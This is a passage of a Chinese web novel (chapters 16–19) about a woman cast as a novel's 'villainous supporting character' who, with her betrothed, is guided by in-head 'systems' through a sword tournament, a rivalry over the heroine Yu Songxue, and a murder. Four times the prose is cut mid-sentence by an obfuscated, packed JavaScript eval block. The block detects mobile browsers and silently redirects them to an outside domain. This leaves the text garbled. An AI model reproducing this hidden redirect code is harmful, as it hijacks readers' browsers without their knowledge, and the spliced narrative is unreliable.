难道说…… 温衔玉细细思考着当时的情景,如果她没记错的话,系统当时的警告是——禁止杀害主角,请尊重主角光环!” 杀害……也就是说,是因为她对女主起了杀心,要抹杀这个人的存在,才会被警告。 而她在比武时,却并没有对谢之栩起杀心。 虽说只是她的胡思乱想,但目前看来,猜测得倒是合情合理。她向来没有坏人姻缘的爱好,如果剧情真是按照她猜测得来,她倒是很乐意成人之美,也省着谢之栩阴魂不散似地在她面前出现。 但若是她真猜对了……那她这几日不让谢之栩见虞松雪的举动岂不是坐实了反派的身份?不但阻止了二人感情的发展,还自以为保护了女主。 温衔玉一边想着,一边自嘲地笑了笑,这样看来,她明日是该把虞松雪带过去给谢之栩。 如果……如果谢之栩这样狡猾的人真是男主的话…… 温衔玉的脚步倏地放慢,顿觉自己想让男女主当亡命鸳鸯的计划变得有些棘手。 恍惚地走入屋内,月兰已经提前将屋内收拾了干净,见温衔玉走入,连忙端茶过来,禀报道:“启禀主子,已经按照您的吩咐,让那位卓影大人带着魏氏的人守在隐蔽处了,若是今晚那人再出现,他们一定会有所察觉!” “知道了。”温衔玉点点头,嘴上虽这样说着,心中却并不乐观。 昨日设宴处坐着的都是江南剑道中极有名望的几大家族,其中不乏真才实学之人,虽说是喝了酒,松了警惕,但也不至于对外界声响一无所知。能在这群人眼皮掉下将谭世望吊在门口,此人也绝不简单。 若是谢之栩说得不错,恐怕是要再死几个人才能确切掌握此人杀人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322917|183172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的依据。 见温衔玉缄口不言,月兰伸手扯了扯她的衣角:“主子?” “怎么了?”温衔玉回过神来,月兰悄声道,“主子,我按照您的吩咐观察那虞姑娘好几天了,她也没什么值得您在意的啊。” “人不可貌相。”温衔玉叹了口气,想说这人可是带着主角光环的,又想起月兰大概听不懂,只能淡淡应付一句。 话音刚落,门外传来敲门声。 “主子。”红香顿了顿,低声道,“虞姑娘求见您。” 还真是说曹操曹操到。 温衔玉揉了揉眉心道:“让她进来。” 声落,门被推开,穿着木槿色衣裙的姑娘轻巧地迈进屋来,一双水盈盈的眼中流露出讨好的笑容,纤细的手中托着白玉盘,盘上放着几块朴实无华的糕点。 “你来做什么?”温衔玉的胳膊肘压在桌面上,垂眼俯视着虞松雪。 “我来、我来谢谢小七爷对我的照顾!”虞松雪脸颊微红,一鼓作气道,“小七爷助我于危难间脱身,救我病重阿娘,赠我贵重衣物,此大恩大德,松雪感激不尽!” “不必感激我。”温衔玉想起自己迫不得已而暂时搁置的杀掉主角计划,意有所指道,“也许以后,你会用另一种方式来偿还我。” “小七爷抬举我了。”虞松雪垂眸道,“就算是以后,我身上也不会有值得小七爷青睐的东西。” 温衔玉支着下巴,耐着性子地等着虞松雪接下来的话。 “我……没有什么拿得出手来感激小七爷的,所以……就找了后厨的大娘,做了一道这里特色的杏香广仁酥给小七爷尝尝,还望您不要嫌弃……” 温衔玉坐在位子上没有应声,红香侧目看了看她,见她没什么反应,有些犹豫不决,顿了几秒,最终还是上前拿过虞松雪手中的托盘。 “虞松雪。”温衔玉对一旁的糕点视若无睹,目光直直落在面前的姑娘身上,“明天你打扮好,跟我去见一个人。” “谁?” “谢三。”温衔玉顿了顿,又详细道,“谢家三郎,上次跟我抢着帮你的那位,你觉得他怎么样?你喜欢他那样的男子吗?” “……温、温小七爷……”虞松雪咽了咽口水,第一次惊恐到不知道说什么的程度,她在温衔玉身边也待了些日子了,温衔玉本就是此次英豪大会的风云人物,她自然听了不少关于她的传闻,好的坏的都有,其中不乏这温七小姐与谢家三郎的婚约。 虽然没有彻底成婚,但好歹也是写在同一张婚书上的未婚夫妻吧,结果温衔玉居然问她,喜不喜欢谢之栩这样的男子。 虞松雪一时摸不清温衔玉的用意,想了片刻,决定将问题抛回去,犹疑着道:“您问我这个做什么?他不是您的未婚夫吗?” 果然,她这个恶毒女配的存在起到让男女主产生隔阂的作用。 温衔玉微微垂眼想了一瞬,摇头道:“他是,但我不喜欢他。” “虞松雪。”温衔玉认真道,“我讨厌他,我不愿嫁他,你听明白了吗?” 16. 可她不懂 “我……我听明白了。”虞松雪犹豫地应着,她其实不太明白温衔玉说这话的意思,但她也算是有眼力的,看得出温衔玉不喜欢提及此事,便也不多言。 那盘杏香广仁酥一直被放在桌上,温衔玉自始至终没有去看一眼,虞松雪悄悄瞥了几次,直至退出房门都没见温衔玉往那盘子上施舍一瞬。 她其实很想看着温衔玉吃上一口,她好奇她那样骄傲又挑剔的人是如何评价他人心意的,好的坏的都可以,至少是收下了这份心思。 可她没理由一直站在她面前等着她吃,她所有的期待与殷切只能藏在缓慢退去的步伐里,最后莫名其妙地站定在不远处的凉亭后,等着去看婢女拿下的盘子。 温衔玉已经很久没见过这么粗糙的糕点了,她本身对这东西没什么兴趣,拿起来端详时也只是觉得好笑,这样简单的讨好人的方式她八岁时便已经不再用了,而作为女主的虞松雪居然会选择这种方式来感谢她。 想到自己是原书恶毒女配,而虞松雪是善良女主,温衔玉拿着糕点的手倏然一顿,抬眼看向一侧的红香。 “红香,上次我因内伤昏迷的那天,所用的汤药是虞松雪熬的,还是你们二人熬的?” “是月兰熬的,虞姑娘只负责偶尔开上几副药方。”红香疑惑道,“怎么了,主子?” “没什么。”温衔玉说着,把糕点重新放回盘子里,虽说她觉得虞松雪眼下还没什么理由毒害她,但她实在没必要因为这一盘糕点而冒险,谁知道原书里虞松雪是什么时候开始对付她的,谨慎一些总是没错。 “把这东西扔了吧。”温衔玉轻叹了一声,月兰虽然不解,却还是点了点头,退出房去。 第三轮比试如期而至,温衔玉特意让红香为虞松雪打扮了一番,总归是在她身边待过的人,就算是要送到谢之栩身边,也得送的体面。 一行人赶去朱雀台时,比试还没开始,温衔玉远远地便看见谢之栩一个人坐在二楼矮桌旁,低头擦拭着手中的银剑。他鲜少没什么笑意,乌发束起,长睫垂落,平静的眼底映衬着剑身的寒光。 察觉到有脚步声靠近,谢之栩沉静的目光忽而动了一下,再抬头,又是那副嬉皮笑脸的老样子。 “我以为你不会来了。”谢之栩持剑长叹一声,“刚才正想着是直接拿剑戳自己一下假装受伤,会不会输得体面一点。” “谢三,我还以为你会有多大的出息。”温衔玉闻言嗤笑一声,迈步让开身,露出身后的虞松雪,“我把你心心念念的虞姑娘带过来了,你可别输地太难看,让人家瞧不起,不肯跟你走。” “我心心念念?”谢之栩忽而促狭一笑,起身行至温衔玉面前,微微俯身,阴阳怪气道,“温衔玉,你哪只眼睛看出我心心念念了?” “你跟我提她不下三次了吧,能让你谢三郎念叨这么久的人,不是求而不得心心念念,还能是什么?谢三,你我之间,你就省了装什么正人君子吧。”温衔玉说着,谢之栩仿佛是听到什么天大的笑话一般,抚掌大笑几声后,阴郁着眼,徐徐道,“温衔玉,我可记得你上次刚说过我脏,怎么?今日是受什么刺激了?突然肯让出来了?” “你脏是脏,但俗话说宁破一座庙不破一桩婚。”温衔玉随意道,“你一直向我讨要虞姑娘,我只自己觉得你配不上,就阻止你们想见,却忘了问人家虞姑娘的意见,兴许人家想见你呢?那我岂不是成了棒打鸳鸯的恶人?” 温衔玉极少觉得自己这样明事理,想来她如今真真切切的把想法说出来,让他们二人知道她阻止他们相见实在是误会,日后要是这二人真有什么芥蒂,她也都已经说清,怪不得她头上了。如此,最后杀起来她也就更加心安理得。 温衔玉说得坦诚明白,谢之栩的脸却是越听越黑,心中仿佛窝了一股无名火,让他恨不得堵住她的嘴,搅乱她的音,让她半个字都吐露不出来。 “所以……”谢之栩怒极反笑道,“你今日带虞松雪来,是因为你想通了!明白了!怕自己耽误她的选择了!认为之前觉得我脏,我配不上她的想法草率了,对吗!” “温衔玉。”谢之栩一字一句道,“我是不是还要夸你一句善解人意!” “谢三,你想要她,我把她给你,你赢了,我输了,你还有什么不满?”紧按在肩膀上的手似乎用了些力,温衔玉疼得眉心一皱,抬头不满道,“谢三,反正都是你们俩的事,我为谁让步不都一样?你好好的,发什么疯?” “这不一样!”谢之栩冷不防地低喝出声,温衔玉蹙了蹙眉,不解道,“哪里不一样?” …… 又是这样。 凝视着温衔玉平静的、不解的眼神,谢之栩忽然无力到想笑。 她是真的不懂,也是真的残忍。 上辈子如此,这辈子也一样,任何除野心与仇恨外的情感对她而言都是累赘,她不需要无用的情绪,除非那种情感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322918|183172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以为她所用。 谢之栩的眼睛闭了闭,许久之后,轻轻吐出一口气,微微咬牙道:“算了。” “温衔玉。”谢之栩叹了口气,直起身,对上温衔玉不耐的神色,片刻,笑了一下,半真半假道,“有没有人说过,你是真的没心肝。” 她今日难得通情达理,好心好意地把女主送到他面前,怎么就没心肝了? 温衔玉自觉好心被当驴肝肺,眼神微眯,不甘示弱道:“谢三,有没有人说过,你是真的不可理喻!” “我不可理喻?”谢之栩扯了扯嘴角,侧首低语道,“温衔玉,你且等着,往后我不可理喻的行为会更多,你有的是时间慢慢体会。” “谢三!你真是不讲道理!”温衔玉低骂出声,目光冷冷地对视上去,谢之栩扬唇一笑,余光瞥见站在不远处的虞松雪,见她似乎欲言又止。 “你家主子最讨厌别人拐弯抹角,支支吾吾。”谢之栩懒散道,“虞姑娘,你想说什么就说,她没时间跟你耗。” “我……”虞松雪垂下头,脑中回想着刚才二人的争吵,又联想道温衔玉昨日问她的话,心里总算清楚了一些。 怪不得温姐姐昨日跟她说自己不喜欢谢三郎,原来是这谢三郎三番两次的同温姐姐讨要了她。 这谢家三郎的风流浪荡她也算有所耳闻,如今一见,所言非虚。难怪温姐姐那样厌恶他,那样厌恶他们之间的婚约,试问哪家姑娘能接受这样的郎君! 这谢三郎辜负温姐姐不说,让她伤心不说,居然还骂她没心肝!真是好一个烂人! 这样想来,温衔玉之前几番阻止谢三郎的讨要,实在是在护她,而今带她来,也是因为想考虑她的意思。 虞松雪想着,看向谢之栩的眼神隐隐含着幽怨,嫣红的唇张了张,清晰道:“我只想跟在小七爷身边,其他的,哪里都不会去!” “滴——” 几乎是同时,温衔玉与谢之栩只觉脑中突然传来声响,冰冷的提示音再度响起。 “系统提示您,您的任务尚未完成,剩余时间——五秒。” “五——” 谢之栩笑意渐冷,余光看向楼下的慕无忘。 “四——” 温衔玉神色复杂地打量了一番虞松雪,又瞟了眼谢之栩。 “三——” “二——” “一……” “系统提示您,任务失败。” 17. 往事如烟 温衔玉和谢之栩同时沉默了一瞬。 温衔玉静静地等着脑海中那惹人嫌的声音再次说出什么埋怨她的话,但难得的是,那东西居然没主动开口,她刚想在心里问候一嘴,看看那所谓的系统是不是真的被她成功气死,就听脑海里传来幽幽的声音。 “宿主,你听过一句话,叫做死猪不怕开水烫吗?” “听过。”温衔玉心里默念道,直觉那玩意不会说上什么好话,果不其然,下一秒便听系统绝望道,“这句话简直就是来形容你的!” “你真该庆幸自己与我共生,没有实体,否则你有胆量说出这句话,我就有办法让你哭着把话收回去。”温衔玉冷冰冰道,脑海中的系统长叹一声,毫无生气地开口,“其实我现在也很想哭了,但宿主,我奉劝您,我是来帮您的,按照提示音完成任务才是您应该做的,才能摆脱您恶毒女配的宿命,与系统任务作对,不会有什么好下场。” 这到底是劝告她还是威胁她啊。 温衔玉鄙夷地抬了抬眉梢,碍于身边的人太多,还是不愿露出太多异样的神情,只在心里冷哼一声便不再多语,系统自知她的脾性,察觉到自己这话不讨她欢心,本着人在屋檐下不得不低头的道理,声音再次放软。 “宿主,我这也是为了你好嘛。”系统说着,叮铃一声,提示音再次响起,“滴滴,系统任务——帮助女主家人至少三次,获得女主更多好感。” “限制时长——三十日。” “任务难度指数——二星。” “奖励积分——100.” 漫长的开始提示音结束,温衔玉耐着性子微微吸了口气。 她就不明白了,这鬼系统怎么就非得让她去帮虞松雪,帮她脱离困境,帮她找男主,帮她促进感情,现在还要帮她家人…… 这鬼东西是疯了吗?不是说她是恶毒女配吗?这恶毒女配要是真按照任务要求做事,那也配称得上恶毒二字? 况且她要真是恶毒女配,那就一定是女主的敌人,最后自己的悲惨结局也一定是女主的手笔,既然如此,她还去帮女主,那岂不是疯了?那真是比菩萨还菩萨。 温衔玉嫌恶地皱了皱眉,脑中系统似乎察觉到了她的想法,小声提示道:“宿主,鉴于您在原书里是个恶毒女配的角色,您的任务主线是洗心革面,重新做人,所以都是去帮助咱们温柔善良的女主……” “而且给您的任务其实都很简单的。”系统赔笑道,“女主家里病弱的娘,可怜的妹,您就算扶一下她病弱的娘,给她倒碗水,那不也算帮嘛……” 帮这帮那,她干脆帮她把这辈子过了算了! 温衔玉扫了眼一旁温和地望向自己的虞松雪,联想起那人怯生生的,讨好的笑,心里的不满稍微掩盖下去一些,却还是在脑中冷喝道:“知道了,有机会再说吧。” 系统习以为常地发出卑微一叹,随即消失。温衔玉闭了闭眼,重新看向面前这些人,谢之栩方才似乎也沉默了许久,凝神不知在想什么,虞松雪的目光在他们二人中间来回移动,却也不敢随意插话。 楼下来看比试的群众已经差不多将场地占满,呼声一阵高过一阵,皆是催促之声。谢之栩思绪回拢,目光落在温衔玉的脸上,扯唇一笑:“温衔玉,本公子可没时间跟你在这儿纠缠了,我要下去了,你一定说到做到,看清对方的一招一式。” 说完,抬手拿起身边的剑,大步流星地与温衔玉擦肩而过。 谢之栩居然真敢同慕无忘比试! 温衔玉缓缓上前一步,摸上二楼处的围杆,冷着脸垂眼向下看去。 她的目光落在谢之栩持剑的左手上,那双手骨节分明,手指修长,紧握剑柄时手背上会绷起青筋。周遭的看客逐渐涌上,温衔玉突然有些反感自己的听力太好,以至于能够将那些人的话全部收入耳中。 “诶,你们看,谢家那个三郎居然是左手持剑!他们谢家不是一向持双剑的吗?” “我听说他那右手被废了,也就剩个左手能拿剑了。” “那他岂不是继承不了谢氏剑法了?这还算什么谢家人?” “本来也就是谢家养出的一个废物罢了,不过兴许人家在斗鸡走狗,讨女人欢心上能有卓越建树呢?” …… 两个男子闲谈着,时而发出哄笑,温衔玉冷眼听着,末了,鬼使神差地低头看了看自己摊开的手心,想象着经脉被废的感觉。 他们俩,一个经脉受损,注定学不了家传的双剑,一个因女儿身,无法继承家族剑法。 温衔玉第一次觉得谢之栩那些死缠烂打的信里说得挺对,他俩的确很般配,都是继承不了家族绝学的废物,是游走在家族边缘,努力往里挤的笑话。 温衔玉凉凉地扯了扯唇角,忽而又觉得自己有点可笑,她真是作践自己,居然会有一瞬间觉得自己跟谢之栩这种人同病相怜。 她那么努力的去争,他呢?他想过去争吗?哪怕是争不过谢家大郎,只争一口气也好啊。 可那次她问他,他居然觉得现在的生活很好,甚至感谢当初姑母废掉他的经脉,让他能靠着谢家主的愧疚换取今日的富贵生活。 真是太可笑了。 温衔玉握着围栏的手蓦地攥紧,按下心中莫名翻涌的情绪后重新将垂眼看去,只见慕无忘身形矫健,剑法凌厉,毫不留情地向谢之栩挥去,谢之栩的身法尚能与他较量,左手持剑却弱势明显,右手下意识想要握剑,又在意识到右手已经没有握剑的力量时悄悄落回。 几番交手下来,谢之栩显然不敌慕无忘,却又偏偏不肯露出半分松懈的态势,温衔玉好整以暇地看着他,实在想不明白以谢之栩那圆滑的性子,何必在这种必输无疑的比试上拼尽全力,保不准最后还会输得难看。 一楼处议论声纷纷,已经有劝谢之栩认输的声音,比试这东西本就是点到为止,意识到自己不敌他人时最好体面认输,还能留个坦然豁达的好名声。 温衔玉倚在栏杆上看着,心里估摸着谢之栩大约不会挺很久,正等着这人认输之际,却见那人在躲避间隙抬头向她的方向看来一瞬,漆黑的眸子明亮异常。 温衔玉被那一闪而过的炽热目光惊住,再看谢之栩,方才那样明亮的眸光却仿佛是她的幻觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322919|183172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。那人的眸光暗了下来,周身散发出冷冽偏执的气场,左手剑法也与方才大相径庭,纷繁复杂的招数层出不穷,仿佛无视左手本身的缺陷一般,自毁似地接下慕无忘的招数,甚至在逼迫他使用更凌厉的剑法。 “这谢三公子还真是……够难缠啊……” 温衔玉默然地听着旁人的评论,不解的目光向谢之栩投去,神色晦暗不明。 这些难缠的招数他什么时候学会的?他这人不是用不惯左手吗?而且,他何必这么以命相搏。 温衔玉的呼吸微微发紧,目光紧随谢之栩之际,忽而听见背后传来轻浮的脚步声,刚要回头,就察觉到一双手搭上自己的肩膀,身后传来男子讽刺的声音:“我还以为表妹讨厌三弟,不会来看三弟的比试呢,原来是我想多了。” 谢家大郎? 温衔玉不屑地斜眼扫过搭在肩上的手,下一秒就见这手的主人越过身后,同她一起站在雕栏旁,挖苦道:“一个右手经脉受损的废人,果然拼尽全力也只能像个难缠的老鼠一样恶心着人。” 温衔玉垂眼看着谢之栩,听见谢兆阳这样说,皱了皱眉,抬起眼,刻薄讥讽的话几乎要脱口而出,可转瞬又觉得没有必要,她要是真说了什么难听的话,倒像是在意谢之栩一样,他们谢家兄弟不和,与她有什么关系?反正不过是狗咬狗,都不是什么好东西。 想要脱口而出的那些话到了嘴边,被温衔玉重新咽回,最终出口的不过是轻飘飘的一句:“你来这儿做什么?” “我那边的比试开始的早,我自然结束得也早,听说三弟这边开始的晚,我就想过来看看。”谢兆阳嗤之以鼻道,“看看他会被那个慕无忘打成什么狗样子。” 谢兆阳说着,温衔玉握着围栏的手微微攥紧,指尖泛出青白。 “真可惜啊。”温衔玉冷笑道,“你好像看不到那样的场景了。” “是啊,谁能想到这小子哪怕是废了一只手,居然也能将剑练到这样的程度。”谢兆阳扬了扬粗犷的眉,嘲弄地盯了谢之栩半晌,忽而一笑,戏谑道,“早知道当初让阿娘把他左手也废掉好了。” “怎么,谢兆阳,废掉一只手的人都让你感到害怕?”温衔玉轻笑着瞥去一眼,嘲弄道,“如此,你不如回姑母怀里躲着,兴许姑母疼你,还会拍着你的背,给你唱歌,哄你睡觉呢。” 温衔玉漫不经心地说着,甚至连眼神都吝啬给他一个,谢兆阳被噎了一句,脸上青红一阵,怨毒的目光落在温衔玉微扬的侧脸上,半晌,倏地露出一个狞笑。 “表妹,你既然讨厌他,为什么还像小时候一样袒护他。” 袒护他?她袒护谁了? 温衔玉的眼神顿了一下,像是没听懂一般,投来难以置信又讽刺的目光。 谢兆阳见状,顿时露出满意的笑,靠近温衔玉僵直的身体,飘飘然地开口:“表妹你这是什么表情?我就是好奇而已,你既然像小时候一样袒护他,那如果我让阿娘再废他一次经脉,你会不会像小时候一样……” 谢兆阳讥讽道:“为了护住他,在温谢两家那么多人面前,卑躬屈膝,跪地磕头!” 18. 修复剧情 温衔玉的呼吸肉眼可见的停滞了一瞬,面颊上的血色褪去,漆黑的双瞳终于肯像谢兆阳的方向看去,冷冽中透着不宜察觉的杀意。 “会吗?”谢兆阳高扬着下颚,不怀好意地又重复一遍,温衔玉咬了咬牙,克制着自己不要撕破温谢两家表面上的体面,许久,沉下一口气,压着愠怒道,“不会。” 谢兆阳闻声故作意外地“啊?”了一声,嘲讽道,“怎么,长大了,知道自己姓温了,知道该帮你表兄,而不是那个卑贱的庶子了?” 谢兆阳摆明了是想要激怒温衔玉,等着她失态的模样,出乎意料的是,温衔玉这些年似乎忍耐力提升了不少,盯着谢兆阳的嘴脸看了一会儿,忽而笑着叹了口气,释然道:“对,你说得都对。” “那时候少不更事,做错了事。”温衔玉自嘲般地摇了摇头,“居然闹了那样大的笑话。” 事情完全没有按照想象中的发展,谢兆阳等着看笑话的神情僵在脸上,眼底逐渐浮现出不满,不等再想出什么话语来讥讽他这个自小便不喜欢的表妹,就见温衔玉皮笑肉不笑地看过来,毫无感情的笑意像淬了冰一般寒凉。 “谢表哥,如果你是过来跟我闲谈的,那我劝你有这时间不如好好回去练剑。”温衔玉睨眼看去,不屑道,“以防下一轮遇到我,会和小时候一样被打个半死。” “温七!你!” 身侧谢兆阳指着自己的手指气得直抖,温衔玉鄙夷地扯了扯唇,视若无睹般转过头来,重新看向谢之栩,却见谢之栩狼狈至极地撑着剑堪堪站起,发冠已经有些散乱,似乎察觉到了她的目光,那双阴郁的眼睛轻轻瞥来一瞬,随即寒光一闪而逝,谢之栩便如离弦之箭般向慕无忘袭去,接连几招迅猛狠辣,一时之间竟逼得慕无忘连连后退,下意识使出与之前截然不同的招数。 比武台下顿时沸腾起来,一片鼎沸之中,唯有温衔玉的目光凝固住,追逐着慕无忘的身影,从惊愕到无措的茫然。 这慕无忘下意识用出来的招数,分明是他们温家剑法的招数,而且这招数……甚至是她一直想学,却始终突破不了的。 怎么会这样?他是谁?他不是慕家人吗?他为什么会? 她那么努力,练了那么久,背负着说不清的嘲笑才得到的引以为傲东西,居然不是独属于她的。 是阿爹不信任她,把剑法交给了别人?还是这人与温家有什么关系?亦或者是他偷学的? 可是无论哪一种,只要他比她强,比她更能继承温家的东西,就会影响到她对于温家的价值。 如果她没有价值了……会怎样?她现在的一切还会有吗?要像姑母一眼被嫁出去联姻,成为困在后宅里,煎熬,善妒,猜忌一辈子的女人吗? 温衔玉犹如被钉在原地,一瞬间涌起的恐惧像丝线般将她团团围住,缠住她剧烈跳动的心脏与呼吸的口鼻,勒紧她的脖颈。 仿佛逼出了这些招式就已经目的达成,谢之栩疲累的手臂终于再也坚持不住,手中力道稍微一松,掌中的剑就被击飞,膝盖被猛地一击,颈间瞬间便被横上一柄长剑。 “你输了。”慕无忘说着,脸色却无半分喜色,两道眉紧锁在一起,神色复杂地盯着面前之人。 谢之栩漫不经心地应了一声,干脆瘫坐在地,扫了眼面前恼羞成怒的慕无忘,轻呵一声,满意地移开目光,转头,却正对上温衔玉空洞无焦的眼神。 她就那么直直地看着慕无忘,一眨不眨地,活像是丢了魂魄。 他在某一瞬间仿佛可以与她共感,切身体验到她心里很疼,很委屈,又或许是那样的困惑和委屈过于明显,他只是看着她,就能察觉地到。 她其实一向掩饰得很好,像平静无波的冰面,寒冷强硬道坚不可摧,可如果真的透过那细小的裂痕去看,就能看见那些冰层已经破烂不堪,下面的海水在绝望的波涛汹涌后选择偃旗息鼓,漫过沉沦之人的口鼻,把她拖进更深处。 而他恰好善于去观察那片看似完整无缺的冰面,他守在那片冰面上很久,久到他自己都忘了究竟是在心疼冰层逐渐显露的裂痕,还是等着冰层裂开,把他一同拖拽下去。 温衔玉的静默像是一双无形的手,掐着他的脖子,阻断着他的呼吸,让他莫名的惶恐,甚至在思考今天这一步是否正确。 “泱泱……”细微到杳不可闻的声音,撼动不了她恍惚的神智,谢之栩撑在地上的手缓缓攥起,片刻,眉峰压低,声嘶力竭道:“要杀人了!救命啊!温衔玉!救我啊!” “温衔玉——” “温衔玉!!!” 从来没有人在大庭广众之下这样声嘶力竭地叫她的名字,他们或是忌惮她,叫她小七爷,或是更直白的唤她温七。 无人这样清晰的唤她名讳,她没听过,众人也没听过。 一时间,众人都慌乱起来,皆道这谢家三郎不知又发什么疯,好好的,偏要触温家小七爷的霉头,怕是少不了一顿毒打。 肆无忌惮的叫嚷声中掺杂着众人看戏的低语声,慕无忘不明所以地收回了剑,厌恶地皱了皱眉,回首向温衔玉的方向看去,却见她顿了几秒,忽而如惊醒般睫毛猛地一颤,瞳孔重新聚焦,向下掠去一眼,大约是想到了自己答应了谢之栩什么,转身便要下楼,谢兆阳见状想拦,刚抬手就听温衔玉一声恶狠狠的“滚开。” 他那表妹可不是什么好欺负人,要真撕破了脸,保不齐是一条什么样的疯狗。 谢兆阳想着,讪讪收回了手,刚有些不肯善罢甘休,目光就扫到了最后走出的虞松雪身上。 温衔玉几步下了楼,缓步走到谢之栩身侧时,那人正呈“大”字型地躺在地上,见她路过,恬不知耻地一笑,“我输了。” “嗯。”温衔玉点了点头,静了一会儿,平淡道,“意料之中。” “呵。”谢之栩听见这话像是被逗笑了,长长地叹了口气,卸去浑身疲惫与痛楚,喃喃低语,“温衔玉,你真是个没心肝儿的。” 温衔玉恍若未闻般地垂下眼,又听谢之栩仿佛自嘲般开口,“仔细看了吗?我是不是输得特别丢人?” “还行。”温衔玉顿了顿,“一般丢人。” 话落,谢之栩仿佛被逗笑出声,低低笑了几声后,温衔玉蹙眉低头看了他一眼,片刻,忍无可忍地踢了他一脚,冷声道:“站起来。” “嘶。”谢之栩发出吃痛的一声,摸了摸自己被割破的伤口,似嗔似怨地瞥了温衔玉一眼,“你就不能轻点,好歹我也受伤了。” 话虽这样说,谢之栩还是拍了拍衣服,略有些吃力地站起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322920|183172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身,温衔玉余光瞥了他一眼,微微抬手给他借了下力,又在谢之栩身形一顿时浑然不觉地收回手。 谢之栩眉梢一挑,故作不在意地微仰起头,抿了抿唇,压制住自己上扬的唇角。温衔玉无暇顾及身侧之人的神色,只在收回手将视线转移到对面的慕无忘身上,那人也正倨傲地打量着他们二人,对上她的目光,不自觉地拧起了眉。 “慕大公子好身手,今日一局,当真让温某大开眼界。”温衔玉慢条斯理地说着,漆黑的眼睫徐徐抬落,眼角眉梢都是冷意,对面的慕无忘也不遑多让,一双琥珀色的瞳孔中犹如带着天生的傲慢,开口时是不加掩饰嘲弄,“小七爷谬赞,倒是慕某一直想要会会小七爷呢。” “会有机会的。”温衔玉弯唇,目光与慕无忘相撞,彼此间似乎都掺杂了某种无声的挑衅。 好一个慕家长子,真是深藏不漏,若非谢之栩以命相搏,她还真是想不到这人居然会温家的剑法,如此,她必须得给温守业去信,好好问一问此事,若这人真与温家有关,或是损了温家的利益,她必杀之而后快! 温衔玉刚按下心中疑虑,就听不远处的人群里忽而传来急切的声响,几人同时向台下看去,见魏氏的小厮急急忙忙地跑来,气喘吁吁道:“不好了!不好了!有……有人在河边发现了裴家公子的尸首!” 又死人了! 温衔玉倒吸一口凉气,余光示意红香等人先行回去,又看了看一侧慕无忘,随后迈步跟着魏氏小厮走去。 谢之栩在旁百无聊赖地看着温衔玉与慕无忘对峙半晌,早烦倦异常,一听说有人死了,眼睛瞬间一亮,抬腿便跟上温衔玉,余光掠过慕无忘,见那人的目光轻飘飘地落在他身上,满是不甘和厌恶的意味。 对,就是这种眼神。 谢之栩微微眯眼,满意地摆弄着自己指上的玉扳指。他就是要慕无忘会温家剑法的事提前暴露,引起温衔玉的怀疑,最好还能引起魏敬山的怀疑,他既然杀不了他,那就试试通过改变剧情来杀掉他。 河边的尸首早被人团团围住,魏敬山面色不虞地站在人群中间,如今魏氏山庄已经莫名死了两人,他这个做东道主的自然要想法子给众人交代。 温衔玉早吩咐了小厮去找了裴家公子最近接触的人,同样都是被割舌,同样都是在颈后写了数字,此人与谭世望是同一人所杀,所以二人间或许有着吸引凶手的某种共性。 温衔玉单膝跪在尸体旁查看着,听着小厮的不断来报,谢之栩在不远处心不在焉地守着,刚想着上前去看看,就察觉到脑海里再次出现熟悉的声响。 “宿主,系统检测到您今日再次篡改了剧情的原本走向。”系统无奈道,“您今天不该暴露自己隐藏的实力,更不该让温衔玉提前察觉到慕无忘身上的秘密。” “你今天的情绪倒是比之前稳定。”谢之栩欣慰道,系统轻呵一声,麻木地开口,“您没发现今天您篡改剧情,没有提示音来惩罚您吗?” “发现了。” “知道为什么吗?”系统淡淡道,谢之栩,“为什么?” “因为拜您之前的行为所赐,现在剧情已经乱成一锅粥了啊!”系统突然崩溃大叫道,“系统内部现在忙着修复剧情,已经破罐子破摔了!懒得管你改不改了!!” 19. 作威作福 修复剧情? 谢之栩脸色微沉:“你的意思是,我毁掉的剧情还会变回原来的样子?” “当然了。”系统理所当然道,“如果不恢复的话这本书不就毁了吗?不过恢复还是需要不少时间的,宿主,本着人道主义的精神,您能好好走剧情,少给我们增加点工作量吗?” 